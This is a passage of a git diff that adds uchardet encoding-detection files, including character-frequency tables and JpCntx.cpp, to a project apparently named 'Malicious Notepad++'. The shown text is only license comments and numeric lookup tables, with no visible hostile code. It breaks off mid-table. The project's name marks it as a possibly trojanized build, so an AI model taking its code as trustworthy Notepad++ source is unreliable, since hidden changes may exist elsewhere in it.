+3883,4035,7030,4473,3058,7031,2536,3761,3884,7032,4036,7033,2966,2895,1968,4474, // 6144 +3276,4225,3417,3492,4226,2105,7034,7035,1754,2596,3762,4227,4863,4475,3763,4864, // 6160 +3764,2615,2777,3103,3765,3658,3418,4865,2296,3766,2815,7036,7037,7038,3574,2872, // 6176 +3277,4476,7039,4037,4477,7040,7041,4038,7042,7043,7044,7045,7046,7047,2537,7048, // 6192 +7049,7050,7051,7052,7053,7054,4478,7055,7056,3767,3659,4228,3575,7057,7058,4229, // 6208 +7059,7060,7061,3660,7062,3212,7063,3885,4039,2460,7064,7065,7066,7067,7068,7069, // 6224 +7070,7071,7072,7073,7074,4866,3768,4867,7075,7076,7077,7078,4868,3358,3278,2653, // 6240 +7079,7080,4479,3886,7081,7082,4869,7083,7084,7085,7086,7087,7088,2538,7089,7090, // 6256 +7091,4040,3150,3769,4870,4041,2896,3359,4230,2930,7092,3279,7093,2967,4480,3213, // 6272 +4481,3661,7094,7095,7096,7097,7098,7099,7100,7101,7102,2461,3770,7103,7104,4231, // 6288 +3151,7105,7106,7107,4042,3662,7108,7109,4871,3663,4872,4043,3059,7110,7111,7112, // 6304 +3493,2988,7113,4873,7114,7115,7116,3771,4874,7117,7118,4232,4875,7119,3576,2336, // 6320 +4876,7120,4233,3419,4044,4877,4878,4482,4483,4879,4484,4234,7121,3772,4880,1045, // 6336 +3280,3664,4881,4882,7122,7123,7124,7125,4883,7126,2778,7127,4485,4486,7128,4884, // 6352 +3214,3887,7129,7130,3215,7131,4885,4045,7132,7133,4046,7134,7135,7136,7137,7138, // 6368 +7139,7140,7141,7142,7143,4235,7144,4886,7145,7146,7147,4887,7148,7149,7150,4487, // 6384 +4047,4488,7151,7152,4888,4048,2989,3888,7153,3665,7154,4049,7155,7156,7157,7158, // 6400 +7159,7160,2931,4889,4890,4489,7161,2631,3889,4236,2779,7162,7163,4891,7164,3060, // 6416 +7165,1672,4892,7166,4893,4237,3281,4894,7167,7168,3666,7169,3494,7170,7171,4050, // 6432 +7172,7173,3104,3360,3420,4490,4051,2684,4052,7174,4053,7175,7176,7177,2253,4054, // 6448 +7178,7179,4895,7180,3152,3890,3153,4491,3216,7181,7182,7183,2968,4238,4492,4055, // 6464 +7184,2990,7185,2479,7186,7187,4493,7188,7189,7190,7191,7192,4896,7193,4897,2969, // 6480 +4494,4898,7194,3495,7195,7196,4899,4495,7197,3105,2731,7198,4900,7199,7200,7201, // 6496 +4056,7202,3361,7203,7204,4496,4901,4902,7205,4497,7206,7207,2315,4903,7208,4904, // 6512 +7209,4905,2851,7210,7211,3577,7212,3578,4906,7213,4057,3667,4907,7214,4058,2354, // 6528 +3891,2376,3217,3773,7215,7216,7217,7218,7219,4498,7220,4908,3282,2685,7221,3496, // 6544 +4909,2632,3154,4910,7222,2337,7223,4911,7224,7225,7226,4912,4913,3283,4239,4499, // 6560 +7227,2816,7228,7229,7230,7231,7232,7233,7234,4914,4500,4501,7235,7236,7237,2686, // 6576 +7238,4915,7239,2897,4502,7240,4503,7241,2516,7242,4504,3362,3218,7243,7244,7245, // 6592 +4916,7246,7247,4505,3363,7248,7249,7250,7251,3774,4506,7252,7253,4917,7254,7255, // 6608 +3284,2991,4918,4919,3219,3892,4920,3106,3497,4921,7256,7257,7258,4922,7259,4923, // 6624 +3364,4507,4508,4059,7260,4240,3498,7261,7262,4924,7263,2992,3893,4060,3220,7264, // 6640 +7265,7266,7267,7268,7269,4509,3775,7270,2817,7271,4061,4925,4510,3776,7272,4241, // 6656 +4511,3285,7273,7274,3499,7275,7276,7277,4062,4512,4926,7278,3107,3894,7279,7280, // 6672 +4927,7281,4513,7282,7283,3668,7284,7285,4242,4514,4243,7286,2058,4515,4928,4929, // 6688 +4516,7287,3286,4244,7288,4517,7289,7290,7291,3669,7292,7293,4930,4931,4932,2355, // 6704 +4933,7294,2633,4518,7295,4245,7296,7297,4519,7298,7299,4520,4521,4934,7300,4246, // 6720 +4522,7301,7302,7303,3579,7304,4247,4935,7305,4936,7306,7307,7308,7309,3777,7310, // 6736 +4523,7311,7312,7313,4248,3580,7314,4524,3778,4249,7315,3581,7316,3287,7317,3221, // 6752 +7318,4937,7319,7320,7321,7322,7323,7324,4938,4939,7325,4525,7326,7327,7328,4063, // 6768 +7329,7330,4940,7331,7332,4941,7333,4526,7334,3500,2780,1741,4942,2026,1742,7335, // 6784 +7336,3582,4527,2388,7337,7338,7339,4528,7340,4250,4943,7341,7342,7343,4944,7344, // 6800 +7345,7346,3020,7347,4945,7348,7349,7350,7351,3895,7352,3896,4064,3897,7353,7354, // 6816 +7355,4251,7356,7357,3898,7358,3779,7359,3780,3288,7360,7361,4529,7362,4946,4530, // 6832 +2027,7363,3899,4531,4947,3222,3583,7364,4948,7365,7366,7367,7368,4949,3501,4950, // 6848 +3781,4951,4532,7369,2517,4952,4252,4953,3155,7370,4954,4955,4253,2518,4533,7371, // 6864 +7372,2712,4254,7373,7374,7375,3670,4956,3671,7376,2389,3502,4065,7377,2338,7378, // 6880 +7379,7380,7381,3061,7382,4957,7383,7384,7385,7386,4958,4534,7387,7388,2993,7389, // 6896 +3062,7390,4959,7391,7392,7393,4960,3108,4961,7394,4535,7395,4962,3421,4536,7396, // 6912 +4963,7397,4964,1857,7398,4965,7399,7400,2176,3584,4966,7401,7402,3422,4537,3900, // 6928 +3585,7403,3782,7404,2852,7405,7406,7407,4538,3783,2654,3423,4967,4539,7408,3784, // 6944 +3586,2853,4540,4541,7409,3901,7410,3902,7411,7412,3785,3109,2327,3903,7413,7414, // 6960 +2970,4066,2932,7415,7416,7417,3904,3672,3424,7418,4542,4543,4544,7419,4968,7420, // 6976 +7421,4255,7422,7423,7424,7425,7426,4067,7427,3673,3365,4545,7428,3110,2559,3674, // 6992 +7429,7430,3156,7431,7432,3503,7433,3425,4546,7434,3063,2873,7435,3223,4969,4547, // 7008 +4548,2898,4256,4068,7436,4069,3587,3786,2933,3787,4257,4970,4971,3788,7437,4972, // 7024 +3064,7438,4549,7439,7440,7441,7442,7443,4973,3905,7444,2874,7445,7446,7447,7448, // 7040 +3021,7449,4550,3906,3588,4974,7450,7451,3789,3675,7452,2578,7453,4070,7454,7455, // 7056 +7456,4258,3676,7457,4975,7458,4976,4259,3790,3504,2634,4977,3677,4551,4260,7459, // 7072 +7460,7461,7462,3907,4261,4978,7463,7464,7465,7466,4979,4980,7467,7468,2213,4262, // 7088 +7469,7470,7471,3678,4981,7472,2439,7473,4263,3224,3289,7474,3908,2415,4982,7475, // 7104 +4264,7476,4983,2655,7477,7478,2732,4552,2854,2875,7479,7480,4265,7481,4553,4984, // 7120 +7482,7483,4266,7484,3679,3366,3680,2818,2781,2782,3367,3589,4554,3065,7485,4071, // 7136 +2899,7486,7487,3157,2462,4072,4555,4073,4985,4986,3111,4267,2687,3368,4556,4074, // 7152 +3791,4268,7488,3909,2783,7489,2656,1962,3158,4557,4987,1963,3159,3160,7490,3112, // 7168 +4988,4989,3022,4990,4991,3792,2855,7491,7492,2971,4558,7493,7494,4992,7495,7496, // 7184 +7497,7498,4993,7499,3426,4559,4994,7500,3681,4560,4269,4270,3910,7501,4075,4995, // 7200 +4271,7502,7503,4076,7504,4996,7505,3225,4997,4272,4077,2819,3023,7506,7507,2733, // 7216 +4561,7508,4562,7509,3369,3793,7510,3590,2508,7511,7512,4273,3113,2994,2616,7513, // 7232 +7514,7515,7516,7517,7518,2820,3911,4078,2748,7519,7520,4563,4998,7521,7522,7523, // 7248 +7524,4999,4274,7525,4564,3682,2239,4079,4565,7526,7527,7528,7529,5000,7530,7531, // 7264 +5001,4275,3794,7532,7533,7534,3066,5002,4566,3161,7535,7536,4080,7537,3162,7538, // 7280 +7539,4567,7540,7541,7542,7543,7544,7545,5003,7546,4568,7547,7548,7549,7550,7551, // 7296 +7552,7553,7554,7555,7556,5004,7557,7558,7559,5005,7560,3795,7561,4569,7562,7563, // 7312 +7564,2821,3796,4276,4277,4081,7565,2876,7566,5006,7567,7568,2900,7569,3797,3912, // 7328 +7570,7571,7572,4278,7573,7574,7575,5007,7576,7577,5008,7578,7579,4279,2934,7580, // 7344 +7581,5009,7582,4570,7583,4280,7584,7585,7586,4571,4572,3913,7587,4573,3505,7588, // 7360 +5010,7589,7590,7591,7592,3798,4574,7593,7594,5011,7595,4281,7596,7597,7598,4282, // 7376 +5012,7599,7600,5013,3163,7601,5014,7602,3914,7603,7604,2734,4575,4576,4577,7605, // 7392 +7606,7607,7608,7609,3506,5015,4578,7610,4082,7611,2822,2901,2579,3683,3024,4579, // 7408 +3507,7612,4580,7613,3226,3799,5016,7614,7615,7616,7617,7618,7619,7620,2995,3290, // 7424 +7621,4083,7622,5017,7623,7624,7625,7626,7627,4581,3915,7628,3291,7629,5018,7630, // 7440 +7631,7632,7633,4084,7634,7635,3427,3800,7636,7637,4582,7638,5019,4583,5020,7639, // 7456 +3916,7640,3801,5021,4584,4283,7641,7642,3428,3591,2269,7643,2617,7644,4585,3592, // 7472 +7645,4586,2902,7646,7647,3227,5022,7648,4587,7649,4284,7650,7651,7652,4588,2284, // 7488 +7653,5023,7654,7655,7656,4589,5024,3802,7657,7658,5025,3508,4590,7659,7660,7661, // 7504 +1969,5026,7662,7663,3684,1821,2688,7664,2028,2509,4285,7665,2823,1841,7666,2689, // 7520 +3114,7667,3917,4085,2160,5027,5028,2972,7668,5029,7669,7670,7671,3593,4086,7672, // 7536 +4591,4087,5030,3803,7673,7674,7675,7676,7677,7678,7679,4286,2366,4592,4593,3067, // 7552 +2328,7680,7681,4594,3594,3918,2029,4287,7682,5031,3919,3370,4288,4595,2856,7683, // 7568 +3509,7684,7685,5032,5033,7686,7687,3804,2784,7688,7689,7690,7691,3371,7692,7693, // 7584 +2877,5034,7694,7695,3920,4289,4088,7696,7697,7698,5035,7699,5036,4290,5037,5038, // 7600 +5039,7700,7701,7702,5040,5041,3228,7703,1760,7704,5042,3229,4596,2106,4089,7705, // 7616 +4597,2824,5043,2107,3372,7706,4291,4090,5044,7707,4091,7708,5045,3025,3805,4598, // 7632 +4292,4293,4294,3373,7709,4599,7710,5046,7711,7712,5047,5048,3806,7713,7714,7715, // 7648 +5049,7716,7717,7718,7719,4600,5050,7720,7721,7722,5051,7723,4295,3429,7724,7725, // 7664 +7726,7727,3921,7728,3292,5052,4092,7729,7730,7731,7732,7733,7734,7735,5053,5054, // 7680 +7736,7737,7738,7739,3922,3685,7740,7741,7742,7743,2635,5055,7744,5056,4601,7745, // 7696 +7746,2560,7747,7748,7749,7750,3923,7751,7752,7753,7754,7755,4296,2903,7756,7757, // 7712 +7758,7759,7760,3924,7761,5057,4297,7762,7763,5058,4298,7764,4093,7765,7766,5059, // 7728 +3925,7767,7768,7769,7770,7771,7772,7773,7774,7775,7776,3595,7777,4299,5060,4094, // 7744 +7778,3293,5061,7779,7780,4300,7781,7782,4602,7783,3596,7784,7785,3430,2367,7786, // 7760 +3164,5062,5063,4301,7787,7788,4095,5064,5065,7789,3374,3115,7790,7791,7792,7793, // 7776 +7794,7795,7796,3597,4603,7797,7798,3686,3116,3807,5066,7799,7800,5067,7801,7802, // 7792 +4604,4302,5068,4303,4096,7803,7804,3294,7805,7806,5069,4605,2690,7807,3026,7808, // 7808 +7809,7810,7811,7812,7813,7814,7815,7816,7817,7818,7819,7820,7821,7822,7823,7824, // 7824 +7825,7826,7827,7828,7829,7830,7831,7832,7833,7834,7835,7836,7837,7838,7839,7840, // 7840 +7841,7842,7843,7844,7845,7846,7847,7848,7849,7850,7851,7852,7853,7854,7855,7856, // 7856 +7857,7858,7859,7860,7861,7862,7863,7864,7865,7866,7867,7868,7869,7870,7871,7872, // 7872 +7873,7874,7875,7876,7877,7878,7879,7880,7881,7882,7883,7884,7885,7886,7887,7888, // 7888 +7889,7890,7891,7892,7893,7894,7895,7896,7897,7898,7899,7900,7901,7902,7903,7904, // 7904 +7905,7906,7907,7908,7909,7910,7911,7912,7913,7914,7915,7916,7917,7918,7919,7920, // 7920 +7921,7922,7923,7924,3926,7925,7926,7927,7928,7929,7930,7931,7932,7933,7934,7935, // 7936 +7936,7937,7938,7939,7940,7941,7942,7943,7944,7945,7946,7947,7948,7949,7950,7951, // 7952 +7952,7953,7954,7955,7956,7957,7958,7959,7960,7961,7962,7963,7964,7965,7966,7967, // 7968 +7968,7969,7970,7971,7972,7973,7974,7975,7976,7977,7978,7979,7980,7981,7982,7983, // 7984 +7984,7985,7986,7987,7988,7989,7990,7991,7992,7993,7994,7995,7996,7997,7998,7999, // 8000 +8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8010,8011,8012,8013,8014,8015, // 8016 +8016,8017,8018,8019,8020,8021,8022,8023,8024,8025,8026,8027,8028,8029,8030,8031, // 8032 +8032,8033,8034,8035,8036,8037,8038,8039,8040,8041,8042,8043,8044,8045,8046,8047, // 8048 +8048,8049,8050,8051,8052,8053,8054,8055,8056,8057,8058,8059,8060,8061,8062,8063, // 8064 +8064,8065,8066,8067,8068,8069,8070,8071,8072,8073,8074,8075,8076,8077,8078,8079, // 8080 +8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095, // 8096 +8096,8097,8098,8099,8100,8101,8102,8103,8104,8105,8106,8107,8108,8109,8110,8111, // 8112 +8112,8113,8114,8115,8116,8117,8118,8119,8120,8121,8122,8123,8124,8125,8126,8127, // 8128 +8128,8129,8130,8131,8132,8133,8134,8135,8136,8137,8138,8139,8140,8141,8142,8143, // 8144 +8144,8145,8146,8147,8148,8149,8150,8151,8152,8153,8154,8155,8156,8157,8158,8159, // 8160 +8160,8161,8162,8163,8164,8165,8166,8167,8168,8169,8170,8171,8172,8173,8174,8175, // 8176 +8176,8177,8178,8179,8180,8181,8182,8183,8184,8185,8186,8187,8188,8189,8190,8191, // 8192 +8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8203,8204,8205,8206,8207, // 8208 +8208,8209,8210,8211,8212,8213,8214,8215,8216,8217,8218,8219,8220,8221,8222,8223, // 8224 +8224,8225,8226,8227,8228,8229,8230,8231,8232,8233,8234,8235,8236,8237,8238,8239, // 8240 +8240,8241,8242,8243,8244,8245,8246,8247,8248,8249,8250,8251,8252,8253,8254,8255, // 8256 +8256,8257,8258,8259,8260,8261,8262,8263,8264,8265,8266,8267,8268,8269,8270,8271, // 8272 +****************************************************************************************/ + +}; + diff --git a/Malicious Notepad++/src/uchardet/JpCntx.cpp b/Malicious Notepad++/src/uchardet/JpCntx.cpp new file mode 100644 index 0000000..7da0413 --- /dev/null +++ b/Malicious Notepad++/src/uchardet/JpCntx.cpp @@ -0,0 +1,230 @@ +/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is Mozilla Communicator client code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 1998 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +#include "nscore.h" +#include "JpCntx.h" + +//This is hiragana 2-char sequence table, the number in each cell represents its frequency category +const PRUint8 jp2CharContext[83][83] = +{ +{ 0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,}, +{ 2,4,0,4,0,3,0,4,0,3,4,4,4,2,4,3,3,4,3,2,3,3,4,2,3,3,3,2,4,1,4,3,3,1,5,4,3,4,3,4,3,5,3,0,3,5,4,2,0,3,1,0,3,3,0,3,3,0,1,1,0,4,3,0,3,3,0,4,0,2,0,3,5,5,5,5,4,0,4,1,0,3,4,}, +{ 0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,}, +{ 0,4,0,5,0,5,0,4,0,4,5,4,4,3,5,3,5,1,5,3,4,3,4,4,3,4,3,3,4,3,5,4,4,3,5,5,3,5,5,5,3,5,5,3,4,5,5,3,1,3,2,0,3,4,0,4,2,0,4,2,1,5,3,2,3,5,0,4,0,2,0,5,4,4,5,4,5,0,4,0,0,4,4,}, +{ 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,}, +{ 0,3,0,4,0,3,0,3,0,4,5,4,3,3,3,3,4,3,5,4,4,3,5,4,4,3,4,3,4,4,4,4,5,3,4,4,3,4,5,5,4,5,5,1,4,5,4,3,0,3,3,1,3,3,0,4,4,0,3,3,1,5,3,3,3,5,0,4,0,3,0,4,4,3,4,3,3,0,4,1,1,3,4,}, +{ 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,}, +{ 0,4,0,3,0,3,0,4,0,3,4,4,3,2,2,1,2,1,3,1,3,3,3,3,3,4,3,1,3,3,5,3,3,0,4,3,0,5,4,3,3,5,4,4,3,4,4,5,0,1,2,0,1,2,0,2,2,0,1,0,0,5,2,2,1,4,0,3,0,1,0,4,4,3,5,4,3,0,2,1,0,4,3,}, +{ 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,}, +{ 0,3,0,5,0,4,0,2,1,4,4,2,4,1,4,2,4,2,4,3,3,3,4,3,3,3,3,1,4,2,3,3,3,1,4,4,1,1,1,4,3,3,2,0,2,4,3,2,0,3,3,0,3,1,1,0,0,0,3,3,0,4,2,2,3,4,0,4,0,3,0,4,4,5,3,4,4,0,3,0,0,1,4,}, +{ 1,4,0,4,0,4,0,4,0,3,5,4,4,3,4,3,5,4,3,3,4,3,5,4,4,4,4,3,4,2,4,3,3,1,5,4,3,2,4,5,4,5,5,4,4,5,4,4,0,3,2,2,3,3,0,4,3,1,3,2,1,4,3,3,4,5,0,3,0,2,0,4,5,5,4,5,4,0,4,0,0,5,4,}, +{ 0,5,0,5,0,4,0,3,0,4,4,3,4,3,3,3,4,0,4,4,4,3,4,3,4,3,3,1,4,2,4,3,4,0,5,4,1,4,5,4,4,5,3,2,4,3,4,3,2,4,1,3,3,3,2,3,2,0,4,3,3,4,3,3,3,4,0,4,0,3,0,4,5,4,4,4,3,0,4,1,0,1,3,}, +{ 0,3,1,4,0,3,0,2,0,3,4,4,3,1,4,2,3,3,4,3,4,3,4,3,4,4,3,2,3,1,5,4,4,1,4,4,3,5,4,4,3,5,5,4,3,4,4,3,1,2,3,1,2,2,0,3,2,0,3,1,0,5,3,3,3,4,3,3,3,3,4,4,4,4,5,4,2,0,3,3,2,4,3,}, +{ 0,2,0,3,0,1,0,1,0,0,3,2,0,0,2,0,1,0,2,1,3,3,3,1,2,3,1,0,1,0,4,2,1,1,3,3,0,4,3,3,1,4,3,3,0,3,3,2,0,0,0,0,1,0,0,2,0,0,0,0,0,4,1,0,2,3,2,2,2,1,3,3,3,4,4,3,2,0,3,1,0,3,3,}, +{ 0,4,0,4,0,3,0,3,0,4,4,4,3,3,3,3,3,3,4,3,4,2,4,3,4,3,3,2,4,3,4,5,4,1,4,5,3,5,4,5,3,5,4,0,3,5,5,3,1,3,3,2,2,3,0,3,4,1,3,3,2,4,3,3,3,4,0,4,0,3,0,4,5,4,4,5,3,0,4,1,0,3,4,}, +{ 0,2,0,3,0,3,0,0,0,2,2,2,1,0,1,0,0,0,3,0,3,0,3,0,1,3,1,0,3,1,3,3,3,1,3,3,3,0,1,3,1,3,4,0,0,3,1,1,0,3,2,0,0,0,0,1,3,0,1,0,0,3,3,2,0,3,0,0,0,0,0,3,4,3,4,3,3,0,3,0,0,2,3,}, +{ 2,3,0,3,0,2,0,1,0,3,3,4,3,1,3,1,1,1,3,1,4,3,4,3,3,3,0,0,3,1,5,4,3,1,4,3,2,5,5,4,4,4,4,3,3,4,4,4,0,2,1,1,3,2,0,1,2,0,0,1,0,4,1,3,3,3,0,3,0,1,0,4,4,4,5,5,3,0,2,0,0,4,4,}, +{ 0,2,0,1,0,3,1,3,0,2,3,3,3,0,3,1,0,0,3,0,3,2,3,1,3,2,1,1,0,0,4,2,1,0,2,3,1,4,3,2,0,4,4,3,1,3,1,3,0,1,0,0,1,0,0,0,1,0,0,0,0,4,1,1,1,2,0,3,0,0,0,3,4,2,4,3,2,0,1,0,0,3,3,}, +{ 0,1,0,4,0,5,0,4,0,2,4,4,2,3,3,2,3,3,5,3,3,3,4,3,4,2,3,0,4,3,3,3,4,1,4,3,2,1,5,5,3,4,5,1,3,5,4,2,0,3,3,0,1,3,0,4,2,0,1,3,1,4,3,3,3,3,0,3,0,1,0,3,4,4,4,5,5,0,3,0,1,4,5,}, +{ 0,2,0,3,0,3,0,0,0,2,3,1,3,0,4,0,1,1,3,0,3,4,3,2,3,1,0,3,3,2,3,1,3,0,2,3,0,2,1,4,1,2,2,0,0,3,3,0,0,2,0,0,0,1,0,0,0,0,2,2,0,3,2,1,3,3,0,2,0,2,0,0,3,3,1,2,4,0,3,0,2,2,3,}, +{ 2,4,0,5,0,4,0,4,0,2,4,4,4,3,4,3,3,3,1,2,4,3,4,3,4,4,5,0,3,3,3,3,2,0,4,3,1,4,3,4,1,4,4,3,3,4,4,3,1,2,3,0,4,2,0,4,1,0,3,3,0,4,3,3,3,4,0,4,0,2,0,3,5,3,4,5,2,0,3,0,0,4,5,}, +{ 0,3,0,4,0,1,0,1,0,1,3,2,2,1,3,0,3,0,2,0,2,0,3,0,2,0,0,0,1,0,1,1,0,0,3,1,0,0,0,4,0,3,1,0,2,1,3,0,0,0,0,0,0,3,0,0,0,0,0,0,0,4,2,2,3,1,0,3,0,0,0,1,4,4,4,3,0,0,4,0,0,1,4,}, +{ 1,4,1,5,0,3,0,3,0,4,5,4,4,3,5,3,3,4,4,3,4,1,3,3,3,3,2,1,4,1,5,4,3,1,4,4,3,5,4,4,3,5,4,3,3,4,4,4,0,3,3,1,2,3,0,3,1,0,3,3,0,5,4,4,4,4,4,4,3,3,5,4,4,3,3,5,4,0,3,2,0,4,4,}, +{ 0,2,0,3,0,1,0,0,0,1,3,3,3,2,4,1,3,0,3,1,3,0,2,2,1,1,0,0,2,0,4,3,1,0,4,3,0,4,4,4,1,4,3,1,1,3,3,1,0,2,0,0,1,3,0,0,0,0,2,0,0,4,3,2,4,3,5,4,3,3,3,4,3,3,4,3,3,0,2,1,0,3,3,}, +{ 0,2,0,4,0,3,0,2,0,2,5,5,3,4,4,4,4,1,4,3,3,0,4,3,4,3,1,3,3,2,4,3,0,3,4,3,0,3,4,4,2,4,4,0,4,5,3,3,2,2,1,1,1,2,0,1,5,0,3,3,2,4,3,3,3,4,0,3,0,2,0,4,4,3,5,5,0,0,3,0,2,3,3,}, +{ 0,3,0,4,0,3,0,1,0,3,4,3,3,1,3,3,3,0,3,1,3,0,4,3,3,1,1,0,3,0,3,3,0,0,4,4,0,1,5,4,3,3,5,0,3,3,4,3,0,2,0,1,1,1,0,1,3,0,1,2,1,3,3,2,3,3,0,3,0,1,0,1,3,3,4,4,1,0,1,2,2,1,3,}, +{ 0,1,0,4,0,4,0,3,0,1,3,3,3,2,3,1,1,0,3,0,3,3,4,3,2,4,2,0,1,0,4,3,2,0,4,3,0,5,3,3,2,4,4,4,3,3,3,4,0,1,3,0,0,1,0,0,1,0,0,0,0,4,2,3,3,3,0,3,0,0,0,4,4,4,5,3,2,0,3,3,0,3,5,}, +{ 0,2,0,3,0,0,0,3,0,1,3,0,2,0,0,0,1,0,3,1,1,3,3,0,0,3,0,0,3,0,2,3,1,0,3,1,0,3,3,2,0,4,2,2,0,2,0,0,0,4,0,0,0,0,0,0,0,0,0,0,0,2,1,2,0,1,0,1,0,0,0,1,3,1,2,0,0,0,1,0,0,1,4,}, +{ 0,3,0,3,0,5,0,1,0,2,4,3,1,3,3,2,1,1,5,2,1,0,5,1,2,0,0,0,3,3,2,2,3,2,4,3,0,0,3,3,1,3,3,0,2,5,3,4,0,3,3,0,1,2,0,2,2,0,3,2,0,2,2,3,3,3,0,2,0,1,0,3,4,4,2,5,4,0,3,0,0,3,5,}, +{ 0,3,0,3,0,3,0,1,0,3,3,3,3,0,3,0,2,0,2,1,1,0,2,0,1,0,0,0,2,1,0,0,1,0,3,2,0,0,3,3,1,2,3,1,0,3,3,0,0,1,0,0,0,0,0,2,0,0,0,0,0,2,3,1,2,3,0,3,0,1,0,3,2,1,0,4,3,0,1,1,0,3,3,}, +{ 0,4,0,5,0,3,0,3,0,4,5,5,4,3,5,3,4,3,5,3,3,2,5,3,4,4,4,3,4,3,4,5,5,3,4,4,3,4,4,5,4,4,4,3,4,5,5,4,2,3,4,2,3,4,0,3,3,1,4,3,2,4,3,3,5,5,0,3,0,3,0,5,5,5,5,4,4,0,4,0,1,4,4,}, +{ 0,4,0,4,0,3,0,3,0,3,5,4,4,2,3,2,5,1,3,2,5,1,4,2,3,2,3,3,4,3,3,3,3,2,5,4,1,3,3,5,3,4,4,0,4,4,3,1,1,3,1,0,2,3,0,2,3,0,3,0,0,4,3,1,3,4,0,3,0,2,0,4,4,4,3,4,5,0,4,0,0,3,4,}, +{ 0,3,0,3,0,3,1,2,0,3,4,4,3,3,3,0,2,2,4,3,3,1,3,3,3,1,1,0,3,1,4,3,2,3,4,4,2,4,4,4,3,4,4,3,2,4,4,3,1,3,3,1,3,3,0,4,1,0,2,2,1,4,3,2,3,3,5,4,3,3,5,4,4,3,3,0,4,0,3,2,2,4,4,}, +{ 0,2,0,1,0,0,0,0,0,1,2,1,3,0,0,0,0,0,2,0,1,2,1,0,0,1,0,0,0,0,3,0,0,1,0,1,1,3,1,0,0,0,1,1,0,1,1,0,0,0,0,0,2,0,0,0,0,0,0,0,0,1,1,2,2,0,3,4,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,}, +{ 0,1,0,0,0,1,0,0,0,0,4,0,4,1,4,0,3,0,4,0,3,0,4,0,3,0,3,0,4,1,5,1,4,0,0,3,0,5,0,5,2,0,1,0,0,0,2,1,4,0,1,3,0,0,3,0,0,3,1,1,4,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,}, +{ 1,4,0,5,0,3,0,2,0,3,5,4,4,3,4,3,5,3,4,3,3,0,4,3,3,3,3,3,3,2,4,4,3,1,3,4,4,5,4,4,3,4,4,1,3,5,4,3,3,3,1,2,2,3,3,1,3,1,3,3,3,5,3,3,4,5,0,3,0,3,0,3,4,3,4,4,3,0,3,0,2,4,3,}, +{ 0,1,0,4,0,0,0,0,0,1,4,0,4,1,4,2,4,0,3,0,1,0,1,0,0,0,0,0,2,0,3,1,1,1,0,3,0,0,0,1,2,1,0,0,1,1,1,1,0,1,0,0,0,1,0,0,3,0,0,0,0,3,2,0,2,2,0,1,0,0,0,2,3,2,3,3,0,0,0,0,2,1,0,}, +{ 0,5,1,5,0,3,0,3,0,5,4,4,5,1,5,3,3,0,4,3,4,3,5,3,4,3,3,2,4,3,4,3,3,0,3,3,1,4,4,3,4,4,4,3,4,5,5,3,2,3,1,1,3,3,1,3,1,1,3,3,2,4,5,3,3,5,0,4,0,3,0,4,4,3,5,3,3,0,3,4,0,4,3,}, +{ 0,5,0,5,0,3,0,2,0,4,4,3,5,2,4,3,3,3,4,4,4,3,5,3,5,3,3,1,4,0,4,3,3,0,3,3,0,4,4,4,4,5,4,3,3,5,5,3,2,3,1,2,3,2,0,1,0,0,3,2,2,4,4,3,1,5,0,4,0,3,0,4,3,1,3,2,1,0,3,3,0,3,3,}, +{ 